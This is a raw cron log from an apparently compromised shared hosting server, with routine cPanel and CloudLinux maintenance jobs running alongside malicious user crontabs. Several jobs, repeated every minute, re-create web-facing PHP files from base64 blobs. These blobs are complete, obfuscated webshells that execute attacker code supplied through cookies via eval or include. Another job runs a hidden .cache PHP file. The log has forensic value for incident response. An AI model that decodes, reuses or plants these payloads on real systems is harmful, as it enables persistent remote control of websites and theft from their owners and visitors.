Jun  7 10:33:02 medusa CROND[29102]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 10:33:02 medusa CROND[29101]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:33:02 medusa CROND[29103]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:33:02 medusa CROND[29105]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:33:02 medusa CROND[29110]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:33:02 medusa CROND[29112]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:34:02 medusa CROND[30750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:34:02 medusa CROND[30755]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:34:02 medusa CROND[30756]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 10:34:02 medusa CROND[30757]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:34:02 medusa CROND[30759]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:34:02 medusa CROND[30760]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:34:02 medusa CROND[30761]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 10:34:02 medusa CROND[30762]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:34:02 medusa CROND[30763]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:34:02 medusa CROND[30772]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:34:02 medusa CROND[30774]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:34:02 medusa CROND[30775]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:34:02 medusa CROND[30776]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:35:02 medusa CROND[32454]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:35:02 medusa CROND[32455]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Jun  7 10:35:02 medusa CROND[32456]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 10:35:02 medusa CROND[32453]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 10:35:02 medusa CROND[32457]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 10:35:02 medusa CROND[32459]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 10:35:02 medusa CROND[32458]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 10:35:02 medusa CROND[32466]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 10:35:02 medusa CROND[32469]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:35:02 medusa CROND[32473]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 10:35:02 medusa CROND[32475]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:35:02 medusa CROND[32474]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 10:35:02 medusa CROND[32482]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 10:35:02 medusa CROND[32483]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 10:35:02 medusa CROND[32481]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Jun  7 10:35:02 medusa CROND[32471]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 10:35:02 medusa CROND[32472]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Jun  7 10:35:02 medusa CROND[32492]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 10:35:02 medusa CROND[32468]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 10:35:02 medusa CROND[32493]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 10:35:02 medusa CROND[32479]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 10:35:02 medusa CROND[32476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:35:02 medusa CROND[32467]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 10:35:02 medusa CROND[32486]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 10:35:02 medusa CROND[32484]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Jun  7 10:36:02 medusa CROND[2128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 10:36:02 medusa CROND[2130]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 10:36:02 medusa CROND[2131]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
